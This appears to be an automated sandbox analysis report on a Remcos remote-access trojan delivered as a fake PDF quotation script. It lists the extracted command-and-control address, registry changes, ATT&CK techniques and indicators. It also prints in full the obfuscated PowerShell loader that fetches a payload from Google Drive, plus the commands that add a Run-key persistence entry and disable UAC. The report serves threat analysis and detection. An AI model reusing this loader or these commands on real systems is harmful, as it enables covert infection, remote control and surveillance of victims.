remcos | 424d1b064b6e0a04e251193013187b35a779473df7411dcc285dc1284cf618d7

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-11-2024 13:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NTU 報價請求項目 FMD2024UOS·pdf.vbs
Size

15KB
MD5

7a8593917a881f736dae40fd3e739aa9
SHA1

86f696ac97647bac9ef92b24e0818a97a70aee53
SHA256

424d1b064b6e0a04e251193013187b35a779473df7411dcc285dc1284cf618d7
SHA512

66ee428b08ac48a8550eeec67d3f41540dfb792e24408bb84a08888c69468dec834d0cff167cb62790f14277d35d173f239ee59b4af1c4fddd6b29b6169ed132
SSDEEP

192:qzb9JpgciToUkIWTErzlS8HIYVFlXQNE7VrMPQ2cV3766aT0VA:SbLuXTiTErZSCH3gNEmyPVA

Score

10^/10

remcos remotehost discovery evasion execution persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

a458386d9.duckdns.org:3256

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4EN793
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
2	2628	WScript.exe
7	2892	powershell.exe
11	2892	powershell.exe
26	1620	msiexec.exe
28	1620	msiexec.exe
33	1620	msiexec.exe
35	1620	msiexec.exe
36	1620	msiexec.exe
49	1620	msiexec.exe
51	1620	msiexec.exe
52	1620	msiexec.exe
53	1620	msiexec.exe
54	1620	msiexec.exe
55	1620	msiexec.exe
56	1620	msiexec.exe
57	1620	msiexec.exe
58	1620	msiexec.exe
59	1620	msiexec.exe
60	1620	msiexec.exe
61	1620	msiexec.exe
62	1620	msiexec.exe
63	1620	msiexec.exe
64	1620	msiexec.exe
65	1620	msiexec.exe
68	1620	msiexec.exe
69	1620	msiexec.exe
70	1620	msiexec.exe
71	1620	msiexec.exe
72	1620	msiexec.exe
73	1620	msiexec.exe
74	1620	msiexec.exe
75	1620	msiexec.exe
76	1620	msiexec.exe
77	1620	msiexec.exe
78	1620	msiexec.exe
79	1620	msiexec.exe
80	1620	msiexec.exe
81	1620	msiexec.exe
82	1620	msiexec.exe
83	1620	msiexec.exe
84	1620	msiexec.exe
85	1620	msiexec.exe
86	1620	msiexec.exe
89	1620	msiexec.exe
93	1620	msiexec.exe
95	1620	msiexec.exe
97	1620	msiexec.exe
98	1620	msiexec.exe
99	1620	msiexec.exe
100	1620	msiexec.exe
101	1620	msiexec.exe
102	1620	msiexec.exe
103	1620	msiexec.exe
104	1620	msiexec.exe
105	1620	msiexec.exe
106	1620	msiexec.exe
107	1620	msiexec.exe
108	1620	msiexec.exe
109	1620	msiexec.exe
110	1620	msiexec.exe
111	1620	msiexec.exe
112	1620	msiexec.exe
113	1620	msiexec.exe
114	1620	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Stephanurus% -windowstyle 1 $Optagelseskravets=(gp -Path 'HKCU:\\Software\\Upholstering\\').Playscript;%Stephanurus% ($Optagelseskravets)"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe
624	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
26	drive.google.com
6	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1620	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
624	powershell.exe
1620	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
3836	reg.exe
892	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2892	powershell.exe
2892	powershell.exe
624	powershell.exe
624	powershell.exe
624	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
624	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	624	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 2892	2628	WScript.exe	84
PID 2628 wrote to memory of 2892	2628	WScript.exe	84
PID 624 wrote to memory of 1620	624	powershell.exe	98
PID 624 wrote to memory of 1620	624	powershell.exe	98
PID 624 wrote to memory of 1620	624	powershell.exe	98
PID 624 wrote to memory of 1620	624	powershell.exe	98
PID 1620 wrote to memory of 2264	1620	msiexec.exe	99
PID 1620 wrote to memory of 2264	1620	msiexec.exe	99
PID 1620 wrote to memory of 2264	1620	msiexec.exe	99
PID 2264 wrote to memory of 3836	2264	cmd.exe	101
PID 2264 wrote to memory of 3836	2264	cmd.exe	101
PID 2264 wrote to memory of 3836	2264	cmd.exe	101
PID 1620 wrote to memory of 2628	1620	msiexec.exe	104
PID 1620 wrote to memory of 2628	1620	msiexec.exe	104
PID 1620 wrote to memory of 2628	1620	msiexec.exe	104
PID 2628 wrote to memory of 892	2628	cmd.exe	106
PID 2628 wrote to memory of 892	2628	cmd.exe	106
PID 2628 wrote to memory of 892	2628	cmd.exe	106

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NTU 報價請求項目 FMD2024UOS·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#agamemnon Rentekoder Hypaton Sumpegnenes #>;$Decursion='Brancher';<#Haploses Lecanine Phorrhea Xylomancy #>; function Feltprovsts($Whitethorn93){If ($host.DebuggerEnabled) {$merginae++;}$Arrestants=$Zoea+$Whitethorn93.'Length' - $merginae; for ( $Valgteknisk=4;$Valgteknisk -lt $Arrestants;$Valgteknisk+=5){$Sengekanten132=$Valgteknisk;$Fremtidsmulighedernes185+=$Whitethorn93[$Valgteknisk];}$Fremtidsmulighedernes185;}function Bstrup($Centrifugalpumpe){ & ($Lotuses) ($Centrifugalpumpe);}$kisra=Feltprovsts 'AdmoM UlkoSkilzVeheiO.enlblanlConcaEbcd/Tele ';$Forestful=Feltprovsts 'BenzTSpralPosisSugg1 Hyl2Vurd ';$Anetavlerne=' nex[ AnuNDommE rooTPict. umS.ingeE sprM rav rdi Polc onrEDiskpIndbOCrioINonmn ImbtFlorm He A nsuNSonaARoamgTer,ElapiRAbri]Hapl:Perv:FalsSKonteKaldCAlteU Ba.rUn aiKvgptK tcYAfstpModsR NumoHe,dt elo agtCUnadoEarwlForu=W ol$A.etFAndeOQuarR coleBogsSAmphTChefF M rUO.ziLKako ';$kisra+=Feltprovsts 'Sk l5 Afs. Reg0Awhe Ulm,(zelaW KuliEskanFor.dShi oBanewFodbsSego ForeNAutoT,ail Fali1 Udk0Kokk.S,ip0Sp.r; Sub Ru.nW.eltiAri.nHelt6sf,r4Sign;Fo,s Commx cyt6Refu4Epan; Si Pho r anvGain: K.l1Pejs3Musi1Poco.lav 0Slbe)Appr Sub GJordeElemcTanakSupeoShlu/Prog2Diab0had 1Bi e0Ansl0Udl,1 A s0Char1Peas TjrF.remiDemor rhveUnprfD.yloCactxCa p/U pr1Bi d3Hydr1Offe.Supp0M ul ';$Polar=Feltprovsts 'CockUDagbsSagiePantRForr- KonAGrusgtamaEAgl.nK,ltTOvis ';$Misbelieving=Feltprovsts 'Sch hDatatTramtMisspB.res f,e: K t/Tril/.movdTaagrBkkei KirvSubsetvan. TingTrsko nano OvegTryglChrye No .PortcFo so E.om ub/Po puKimbc All?P unequeexTracpUdkro AutrPreit ,ea=Eat.d B.loB,llwSc onSubclAnkeohejsaP osdAdel&SlaniTidsd Hin=Nonz1Jarrv Quil SmaiTesknPleoaSi twBuesC P rC,ageD UnmdGrecnZen Caffr8A.opGRkenaUpr rfarmsBar rUnf,IPran_ Ek ERep oInsaya toHWale1 ManNHemiC carS Ove5Fuml8 Un,C UncwBr e ';$Bevilliget=Feltprovsts 'Auto>Sabb ';$Lotuses=Feltprovsts 'TricI herEFingXDire ';$Valgtekniskmpinge='Slverglderne';$Maltsters='\Inflicts.Kol';Bstrup (Feltprovsts ' Mi $B.kmg usLNephO ffebForpaViaml upe: DesS TyvtallertherASyllp ortPPer.eKultTGuds=Tryk$tallEggehN Sgev Str: M sAVisiPHderpDu eDR,anAHatttPergaGard+ til$SortmdumbaBekol Ci.TByggsMunitSaksePinar P asmega ');Bstrup (Feltprovsts 'Elev$ HstGSameL GreoD.libBarba UdlL Sph:j dgr,rokaVedhALineKTurnORegnsBygnTModej FraeRhinrStreNBolv=Kitt$PkwyM.atuIm.weS Bl,bOvere B wL Fo iSkr e BikvStvsISkranDomsgunde.synsS mgrp yrlAgnoI Tott S k(Mowl$GaibBBlomE C uvAt.oIUndeL FryLBaudIO ttgAf,oeUberTStr ) Cat ');Bstrup (Feltprovsts $Anetavlerne);$Misbelieving=$Raakostjern[0];$Cynoxylon9=(Feltprovsts 'Dukk$Un oGSid LRektO Pe.B yroASav,l lus:BodeCZamboSparr avrValuA.nvosthadICos oChalnNagk1Cont2Him,1 O,p=ArchNGange UniWSkil-SmaaOIcelBA miJPy aeRokkCPartTJa,u Gup.SE teYEwassMatrTNordE AnamPoli. OppnKorneTndct Non.E lewPersE DecBFeriCSul,lKrici,ompeI,jiNRiddtanti ');Bstrup ($Cynoxylon9);Bstrup (Feltprovsts 'Bigr$Un oC,atuoTilbrOverrIonia NonsIncoi ImmoDiscnHal,1Fors2 Isf1.ame.Pen HT.roe CoaaUnfidMoste nker la,sCloc[ ,ng$CeruPAlveoD vilStr aSpdbr Ext]flas=Cuff$ GrokSo.riHaemsMockrSperaTal ');$Gnomic=Feltprovsts ' opv$ArtiC .ipoKa.irChibr igtaSskes iltiGratoSmrrnMona1 sup2Comm1F tt.Ge.mDPolyo tilw st n StnlSpgeoBelia Sv dSte FDogbiB hol,fgaeSkyl(Unex$ DuaMG ssi Hyps.igsbSahaePrimlRabaiKoffeUnm v.ncaiRessn alkg ,tj,Phar$.aksKT knn Sexi,hesrVangkIndveNonprDes iGamoeBic rolie) Tha ';$Knirkerier=$Strappet;Bstrup (Feltprovsts ' P i$F.legSbekLSl poLeprBskemaUn clUnst:til b TitL nopvGlamr ForeT.rpd skre For=Imag( ngsTHemoEGameSLo,qT Fly-Vk tpAppra CacT TyrHUnse Ro $ aviK PenNSlynIUngiRHos,KBra E AutRElekipup.E Trar Lo,)Diat ');while (!$Blvrede) {Bstrup (Feltprovsts ' No $DerhgTyggl alsoKrepb Ga aRaptlUdlu:MidsAWartb U fjN,neeAf.icParat andn Bo.eDigts RhesOc.a=Fluo$abtutacinrTrenuUnsleDrug ') ;Bstrup $Gnomic;Bstrup (Feltprovsts ' rouSJagttU,faAI drRBractLuna-CoucS K flBorgEnaphESupePNavl Use4Rezo ');Bstrup (Feltprovsts 'Cop $ UndGFarvLPat O Pu B,ulpaWorsL dre:Sch.b B alMurivK.rorStraeGaleD UndEAkac=Pret(Sk ttTjleeCe,bs EsttA,en- O ePBlomaSt dTknivHP.em Ord$Myelk F sNDunkiSnigr.ormk BrdEAnteRTimeiFodleThorR Kru),ini ') ;Bstrup (Feltprovsts ' Lur$flskGligeLFo,dO TymBThyrAGrunLAcce: putcPropoGor EI kbnMystzS neySolfm T nAJespTKberI FuncRoug= Fi $Snu GPatrLGldeoObjeb AntANegoLSele: UnpR peruPrveSPleue ellRGlacN Bree Kap+Ahea+ S,r% Kvl$u,orRVeinAT.ltASmokK,vioOPampsBjrgtRe.eJTerrEAnpaRD.scNReor.PlesCMegroroc USk snRystt Klu ') ;$Misbelieving=$Raakostjern[$Coenzymatic];}$Sympathique=315454;$Rhatanies=31106;Bstrup (Feltprovsts ' ugl$ SubgdlvyLCameo Un,bKnudaFjorLChef:MellkSmedy Ya,s Snut MonkUne lA phIMonomSmdeaMyose Mart m s riv=Bear d rigSoveeb dgtPres-RehnCHystoT arnS urTNongELiseNUdk,t ele Ineb$RugkKOxyaN Lsei Mo rPortKIso,E F.nrPhociAntiEUn.lr ,it ');Bstrup (Feltprovsts 'Brsr$ Forg estlKostoI dsbInfiaprocl,art: IradMilie blid FejiJordkCh na AdetSik,iColuo ThenEucgs GraeSyerk Brns.teleRaadmSamspDrejlCo.raS nor edaeCigardialnElekeAssesV nv Refu=Allo Mill[vrleSMi,iyUnlisIndatTr.pe Svim K s.OeilCKalkoSuggnA.stvHeaveTag rVaretSina] Ene: ro:Ko.mF Indr oxpoShotmForaB nda vrssa ieSk.t6S ri4Hg,pSov rtIdiorBookiOchfnOut gTriv(Rebr$Ci iKHypey aftsdiskt .ackEleklUdtri mkkmSulka Supe ,ectTorb)Enef ');Bstrup (Feltprovsts 'Vurd$SkivGFgtnL copOPre BsexoAOrculMa,d:DesoVVitiI nsuc MinEr weL .coIsta KskeeEGe,z Impu=.ext regg[Antis snYMuttsPo eTNymaeGaapM iru.TuritPoole lnsxsyslt ong.Kbe e NewnPrelCKoraO TraD ReciU stN Gc Gblte]Kern:Tote: Vsea.ncosB whCUnoiiBenwiCirc. Mi GMandeRdhat afbsBoucT,rapRSa vit aaNUdleGByeg(,uto$ S ld komeC,amDOverIOchoK kriATrocT nhIEnhaOPeriNFlansskrue IarKRdbrsFe tECo.eMi teptrapL T.oARungrDataeLabbrDropN PneeSupesProd)Reco ');Bstrup (Feltprovsts 'Red.$MetrgSvu lTeglOStatbunc.a LaslB,rd: bedpP etoQuadt ChoeK.rasRegit quaA efrTRec E Mis=Frer$UnduVKargITvisC TveE linl ArbIM ndKKlasE lf. .crSFoulUEm,rbUn,eStoaktBeguRstiniTurrnBor GBaro( ith$Begys ,xpYMar,MSoegPF.rsAKonttStavHMumliAgilq Kemu IndESm,s, ,il$ M,trWageH ,taaSlovtb,bbaCatiN ildiEromEGa.oSUnu )Cupo ');Bstrup $Potestate;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#agamemnon Rentekoder Hypaton Sumpegnenes #>;$Decursion='Brancher';<#Haploses Lecanine Phorrhea Xylomancy #>; function Feltprovsts($Whitethorn93){If ($host.DebuggerEnabled) {$merginae++;}$Arrestants=$Zoea+$Whitethorn93.'Length' - $merginae; for ( $Valgteknisk=4;$Valgteknisk -lt $Arrestants;$Valgteknisk+=5){$Sengekanten132=$Valgteknisk;$Fremtidsmulighedernes185+=$Whitethorn93[$Valgteknisk];}$Fremtidsmulighedernes185;}function Bstrup($Centrifugalpumpe){ & ($Lotuses) ($Centrifugalpumpe);}$kisra=Feltprovsts 'AdmoM UlkoSkilzVeheiO.enlblanlConcaEbcd/Tele ';$Forestful=Feltprovsts 'BenzTSpralPosisSugg1 Hyl2Vurd ';$Anetavlerne=' nex[ AnuNDommE rooTPict. umS.ingeE sprM rav rdi Polc onrEDiskpIndbOCrioINonmn ImbtFlorm He A nsuNSonaARoamgTer,ElapiRAbri]Hapl:Perv:FalsSKonteKaldCAlteU Ba.rUn aiKvgptK tcYAfstpModsR NumoHe,dt elo agtCUnadoEarwlForu=W ol$A.etFAndeOQuarR coleBogsSAmphTChefF M rUO.ziLKako ';$kisra+=Feltprovsts 'Sk l5 Afs. Reg0Awhe Ulm,(zelaW KuliEskanFor.dShi oBanewFodbsSego ForeNAutoT,ail Fali1 Udk0Kokk.S,ip0Sp.r; Sub Ru.nW.eltiAri.nHelt6sf,r4Sign;Fo,s Commx cyt6Refu4Epan; Si Pho r anvGain: K.l1Pejs3Musi1Poco.lav 0Slbe)Appr Sub GJordeElemcTanakSupeoShlu/Prog2Diab0had 1Bi e0Ansl0Udl,1 A s0Char1Peas TjrF.remiDemor rhveUnprfD.yloCactxCa p/U pr1Bi d3Hydr1Offe.Supp0M ul ';$Polar=Feltprovsts 'CockUDagbsSagiePantRForr- KonAGrusgtamaEAgl.nK,ltTOvis ';$Misbelieving=Feltprovsts 'Sch hDatatTramtMisspB.res f,e: K t/Tril/.movdTaagrBkkei KirvSubsetvan. TingTrsko nano OvegTryglChrye No .PortcFo so E.om ub/Po puKimbc All?P unequeexTracpUdkro AutrPreit ,ea=Eat.d B.loB,llwSc onSubclAnkeohejsaP osdAdel&SlaniTidsd Hin=Nonz1Jarrv Quil SmaiTesknPleoaSi twBuesC P rC,ageD UnmdGrecnZen Caffr8A.opGRkenaUpr rfarmsBar rUnf,IPran_ Ek ERep oInsaya toHWale1 ManNHemiC carS Ove5Fuml8 Un,C UncwBr e ';$Bevilliget=Feltprovsts 'Auto>Sabb ';$Lotuses=Feltprovsts 'TricI herEFingXDire ';$Valgtekniskmpinge='Slverglderne';$Maltsters='\Inflicts.Kol';Bstrup (Feltprovsts ' Mi $B.kmg usLNephO ffebForpaViaml upe: DesS TyvtallertherASyllp ortPPer.eKultTGuds=Tryk$tallEggehN Sgev Str: M sAVisiPHderpDu eDR,anAHatttPergaGard+ til$SortmdumbaBekol Ci.TByggsMunitSaksePinar P asmega ');Bstrup (Feltprovsts 'Elev$ HstGSameL GreoD.libBarba UdlL Sph:j dgr,rokaVedhALineKTurnORegnsBygnTModej FraeRhinrStreNBolv=Kitt$PkwyM.atuIm.weS Bl,bOvere B wL Fo iSkr e BikvStvsISkranDomsgunde.synsS mgrp yrlAgnoI Tott S k(Mowl$GaibBBlomE C uvAt.oIUndeL FryLBaudIO ttgAf,oeUberTStr ) Cat ');Bstrup (Feltprovsts $Anetavlerne);$Misbelieving=$Raakostjern[0];$Cynoxylon9=(Feltprovsts 'Dukk$Un oGSid LRektO Pe.B yroASav,l lus:BodeCZamboSparr avrValuA.nvosthadICos oChalnNagk1Cont2Him,1 O,p=ArchNGange UniWSkil-SmaaOIcelBA miJPy aeRokkCPartTJa,u Gup.SE teYEwassMatrTNordE AnamPoli. OppnKorneTndct Non.E lewPersE DecBFeriCSul,lKrici,ompeI,jiNRiddtanti ');Bstrup ($Cynoxylon9);Bstrup (Feltprovsts 'Bigr$Un oC,atuoTilbrOverrIonia NonsIncoi ImmoDiscnHal,1Fors2 Isf1.ame.Pen HT.roe CoaaUnfidMoste nker la,sCloc[ ,ng$CeruPAlveoD vilStr aSpdbr Ext]flas=Cuff$ GrokSo.riHaemsMockrSperaTal ');$Gnomic=Feltprovsts ' opv$ArtiC .ipoKa.irChibr igtaSskes iltiGratoSmrrnMona1 sup2Comm1F tt.Ge.mDPolyo tilw st n StnlSpgeoBelia Sv dSte FDogbiB hol,fgaeSkyl(Unex$ DuaMG ssi Hyps.igsbSahaePrimlRabaiKoffeUnm v.ncaiRessn alkg ,tj,Phar$.aksKT knn Sexi,hesrVangkIndveNonprDes iGamoeBic rolie) Tha ';$Knirkerier=$Strappet;Bstrup (Feltprovsts ' P i$F.legSbekLSl poLeprBskemaUn clUnst:til b TitL nopvGlamr ForeT.rpd skre For=Imag( ngsTHemoEGameSLo,qT Fly-Vk tpAppra CacT TyrHUnse Ro $ aviK PenNSlynIUngiRHos,KBra E AutRElekipup.E Trar Lo,)Diat ');while (!$Blvrede) {Bstrup (Feltprovsts ' No $DerhgTyggl alsoKrepb Ga aRaptlUdlu:MidsAWartb U fjN,neeAf.icParat andn Bo.eDigts RhesOc.a=Fluo$abtutacinrTrenuUnsleDrug ') ;Bstrup $Gnomic;Bstrup (Feltprovsts ' rouSJagttU,faAI drRBractLuna-CoucS K flBorgEnaphESupePNavl Use4Rezo ');Bstrup (Feltprovsts 'Cop $ UndGFarvLPat O Pu B,ulpaWorsL dre:Sch.b B alMurivK.rorStraeGaleD UndEAkac=Pret(Sk ttTjleeCe,bs EsttA,en- O ePBlomaSt dTknivHP.em Ord$Myelk F sNDunkiSnigr.ormk BrdEAnteRTimeiFodleThorR Kru),ini ') ;Bstrup (Feltprovsts ' Lur$flskGligeLFo,dO TymBThyrAGrunLAcce: putcPropoGor EI kbnMystzS neySolfm T nAJespTKberI FuncRoug= Fi $Snu GPatrLGldeoObjeb AntANegoLSele: UnpR peruPrveSPleue ellRGlacN Bree Kap+Ahea+ S,r% Kvl$u,orRVeinAT.ltASmokK,vioOPampsBjrgtRe.eJTerrEAnpaRD.scNReor.PlesCMegroroc USk snRystt Klu ') ;$Misbelieving=$Raakostjern[$Coenzymatic];}$Sympathique=315454;$Rhatanies=31106;Bstrup (Feltprovsts ' ugl$ SubgdlvyLCameo Un,bKnudaFjorLChef:MellkSmedy Ya,s Snut MonkUne lA phIMonomSmdeaMyose Mart m s riv=Bear d rigSoveeb dgtPres-RehnCHystoT arnS urTNongELiseNUdk,t ele Ineb$RugkKOxyaN Lsei Mo rPortKIso,E F.nrPhociAntiEUn.lr ,it ');Bstrup (Feltprovsts 'Brsr$ Forg estlKostoI dsbInfiaprocl,art: IradMilie blid FejiJordkCh na AdetSik,iColuo ThenEucgs GraeSyerk Brns.teleRaadmSamspDrejlCo.raS nor edaeCigardialnElekeAssesV nv Refu=Allo Mill[vrleSMi,iyUnlisIndatTr.pe Svim K s.OeilCKalkoSuggnA.stvHeaveTag rVaretSina] Ene: ro:Ko.mF Indr oxpoShotmForaB nda vrssa ieSk.t6S ri4Hg,pSov rtIdiorBookiOchfnOut gTriv(Rebr$Ci iKHypey aftsdiskt .ackEleklUdtri mkkmSulka Supe ,ectTorb)Enef ');Bstrup (Feltprovsts 'Vurd$SkivGFgtnL copOPre BsexoAOrculMa,d:DesoVVitiI nsuc MinEr weL .coIsta KskeeEGe,z Impu=.ext regg[Antis snYMuttsPo eTNymaeGaapM iru.TuritPoole lnsxsyslt ong.Kbe e NewnPrelCKoraO TraD ReciU stN Gc Gblte]Kern:Tote: Vsea.ncosB whCUnoiiBenwiCirc. Mi GMandeRdhat afbsBoucT,rapRSa vit aaNUdleGByeg(,uto$ S ld komeC,amDOverIOchoK kriATrocT nhIEnhaOPeriNFlansskrue IarKRdbrsFe tECo.eMi teptrapL T.oARungrDataeLabbrDropN PneeSupesProd)Reco ');Bstrup (Feltprovsts 'Red.$MetrgSvu lTeglOStatbunc.a LaslB,rd: bedpP etoQuadt ChoeK.rasRegit quaA efrTRec E Mis=Frer$UnduVKargITvisC TveE linl ArbIM ndKKlasE lf. .crSFoulUEm,rbUn,eStoaktBeguRstiniTurrnBor GBaro( ith$Begys ,xpYMar,MSoegPF.rsAKonttStavHMumliAgilq Kemu IndESm,s, ,il$ M,trWageH ,taaSlovtb,bbaCatiN ildiEromEGa.oSUnu )Cupo ');Bstrup $Potestate;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:624
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Stephanurus% -windowstyle 1 $Optagelseskravets=(gp -Path 'HKCU:\Software\Upholstering\').Playscript;%Stephanurus% ($Optagelseskravets)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Stephanurus% -windowstyle 1 $Optagelseskravets=(gp -Path 'HKCU:\Software\Upholstering\').Playscript;%Stephanurus% ($Optagelseskravets)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3836
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
8f325b4591d8ab596342c958c8f79a4d

SHA1
be25bd93ad867ec17a908deddb8fe2ad8bc4323f

SHA256
94d62bbfd49151981acc0b4e859fb1771fb5024d3805ca1cb3f8b5e0c620843d

SHA512
a64ff0bb576f1621df7ec4cb270e891849051ec327af486ae4e454addc36f72fc26a43f32820d733d99b0512bea0c3535dc1f0fd02a7999b57068ee71569be3c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4ff23c124ae23955d34ae2a7306099a

SHA1
b814e3331a09a27acfcd114d0c8fcb07957940a3

SHA256
1de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87

SHA512
f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4yl3nq0.ymp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Inflicts.Kol

Filesize
451KB

MD5
a0ead43a9e0373f5a840cf296b8b62ba

SHA1
e4a16dcdd161437d6aa66b5f2e8a8f2350f83c07

SHA256
e1171748791ea73409433b75b28fd35fcd327d76e909eed3bfcd033c1e6e1982

SHA512
